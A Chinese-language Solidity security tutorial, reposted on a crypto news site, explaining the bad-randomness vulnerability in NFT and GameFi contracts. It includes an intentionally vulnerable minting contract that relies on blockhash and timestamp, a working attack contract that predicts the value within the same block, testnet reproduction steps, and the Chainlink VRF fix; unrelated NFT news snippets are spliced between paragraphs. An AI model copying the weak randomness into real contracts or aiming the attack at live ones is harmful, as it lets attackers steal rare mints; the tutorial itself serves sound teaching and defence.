比特幣價格 比特幣價格
Ctrl+D 比特幣價格
ads

WTF Solidity 合約安全: S07. 壞隨機數

Author:

Time:1900/1/1 0:00:00

我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。

這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。

很多以太坊上的應用都需要用到隨機數,例如NFT隨機抽取tokenId、抽盲盒、gamefi戰斗中隨機分勝負等等。但是由于以太坊上所有數據都是公開透明(public)且確定性(deterministic)的,它沒有其他編程語言一樣給開發者提供生成隨機數的方法,例如random()。很多項目方不得不使用鏈上的偽隨機數生成方法,例如 blockhash() 和 keccak256() 方法。

壞隨機數漏洞:攻擊者可以事先計算這些偽隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。

Web3開源大學WTF Academy獲得以太坊基金資助:1月2日消息,Web3開源大學WTF Academy宣布獲得以太坊基金資助。這筆資金將用于創作開源Solidity教程(中英文)、教學視頻和測試網站。

據悉,WTF Academy的目標是引導10,000名開發者進入Web3領域。[2023/1/3 22:21:26]

下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol。

contract BadRandomness is ERC721 {    uint256 totalSupply;    // 構造函數,初始化NFT合集的名稱、代號    constructor() ERC721("", ""){}    // 鑄造函數:當輸入的 luckyNumber 等于隨機數時才能mint    function luckyMint(uint256 luckyNumber) external {        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number        require(randomNumber == luckyNumber, "Better luck next time!");        _mint(msg.sender, totalSupply); // mint        totalSupply++;    }}它有一個主要的鑄造函數 luckyMint(),用戶調用時輸入一個 0-99 的數字,如果和鏈上生成的偽隨機數 randomNumber 相等,即可鑄造幸運 NFT。偽隨機數使用 blockhash 和 block.timestamp 聲稱。這個漏洞在于用戶可以完美預測生成的隨機數并鑄造NFT。

troll-town.wtf系列NFT24小時交易額增幅達312.57%:金色財經消息,據NFTGo.io數據顯示,troll-town.wtf系列NFT總市值達511.08萬美元,在所有NFT項目總市值排名中位列第565;其24小時交易額為129.64萬美元,增幅達312.57%。截止發稿時,該系列NFT當前地板價為0.242ETH。[2022/6/7 4:08:55]

下面我們寫個攻擊合約 Attack.sol。

contract Attack {    function attackMint(BadRandomness nftAddr) external {        // 提前計算隨機數        uint256 luckyNumber = uint256(            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))        ) % 100;        // 利用 luckyNumber 攻擊        nftAddr.luckyMint(luckyNumber);    }}攻擊函數 attackMint()中的參數為 BadRandomness合約地址。在其中,我們計算了隨機數 luckyNumber,然后將它作為參數輸入到 luckyMint() 函數完成攻擊。由于attackMint()和luckyMint()將在同一個區塊中調用,blockhash和block.timestamp是相同的,利用他們生成的隨機數也相同。

goblintown.wtf系列NFT交易額突破5000萬美元:金色財經報道,據nftgo最新數據顯示,“哥布林”goblintown.wtf 系列 NFT交易額已突破 5000 萬美元,截至目前為 5067 萬美元,交易額排名前三的分別是goblintown #6485(77.75 ETH)、goblintown #8995(69.42 ETH)和goblintown #9249(31.04 ETH)。[2022/6/2 3:58:25]

由于 Remix 自帶的 Remix VM不支持 blockhash函數,因此你需要將合約部署到以太坊測試鏈上進行復現。

部署 BadRandomness 合約。

部署 Attack 合約。

將 BadRandomness 合約地址作為參數傳入到 Attack 合約的 attackMint() 函數并調用,完成攻擊。

調用 BadRandomness 合約的 balanceOf 查看Attack 合約NFT余額,確認攻擊成功。

goblintown.wtf NFT系列24小時成交額超581萬美元:金色財經消息,據NFTGo.io數據顯示,goblintown.wtf NFT系列24小時成交額已達581.4萬美元,增幅為173.19%。截止發稿,其地板價為0.55ETH,24小時漲幅為201.03%。據該項目網站信息顯示,該NFT系列共1萬枚NFT,發布時采取免費鑄造形式,每個錢包地址限鑄造一枚,項目團隊和路線圖信息都暫未發布。[2022/5/23 3:34:45]

我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然后上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:偽隨機數。

這一講我們介紹了壞隨機數漏洞,并介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上偽隨機數進行抽獎,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

fees.wtf空投已于今晨8時開放領取,Gas費用一度暴漲至800Gwei:1月14日消息,Gas 使用統計查詢網站 fees.wtf Token 空投已于今晨 8 時開放領取。因空投領取量激增,Gas 費用一度暴漲至 800 Gwei,近三小時內已銷毀 1,216.75 枚 ETH。[2022/1/14 8:48:17]

社區:Discord|微信群|官網 wtf.academy

所有代碼和教程開源在github: github.com/AmazingAng/WTFSolidity

來源:bress

Bress

個人專欄

閱讀更多

金色早8點

比推 Bitpush News

Foresight News

PANews

Delphi Digital

區塊鏈騎士

深潮TechFlow

鏈捕手

區塊律動BlockBeats

DeFi之道

Tags:BSPNBSINTNFTbspt幣未來前景NBS幣PINTNFTSOL幣

Gate交易所
以太坊:V神:到底什么是“制度”?_sunbittern

原文:《What even is an institution?》 作者:Vitalik 特別感謝 Dennis Pourteaux 和 Tina Zhen 的討論促成了這篇文章.

1900/1/1 0:00:00
以太坊:V神:如何打造更安全中心化交易所?_ARK

原文:《Having a safe CEX: proof of solvency and beyond》編譯:雙花 (@doublespending)特別感謝 Balaji Srinivasan.

1900/1/1 0:00:00
PTI:為什么說第二代Optimistic?Rollup是Layer2的未來?_Optimus

原文作者:msfew,Foresight Ventures盡管 Vitalik 早在幾年前就認定了 zkEVM Rollup 是未來, 同時各家 zkEVM (Scroll, zkSync.

1900/1/1 0:00:00
WEB:Web3時代 金融科技公司如何借助創作者平臺繼續成長?_Modulus Domains Service

近年來,社交媒體應用已成為利潤豐厚的營銷渠道。一個品牌可以利用Instagram、Linkedin和其他社交媒體應用程序快速發展其業務,并獲得巨大的投資回報率.

1900/1/1 0:00:00
SOL:熊市必讀系列:Solana王朝的興衰史_OLA

一個由謊言編織的敘事,瘋狂注水的各項指標,以及基于此的后續發展直到崩盤我在這個故事里也看到了太多熟悉的影子,所以$SOL會成為下一個$EOS嗎?@CharlieXYZ_撰寫了這個Thread.

1900/1/1 0:00:00
NFT:金色Web3.0日報 | Uniswap創始人:Uniswap不追蹤IP_元宇宙

DeFi數據 1、DeFi代幣總市值:372.9億美元 DeFi總市值及前十代幣 數據來源:coingecko2、過去24小時去中心化交易所的交易量28.

1900/1/1 0:00:00
ads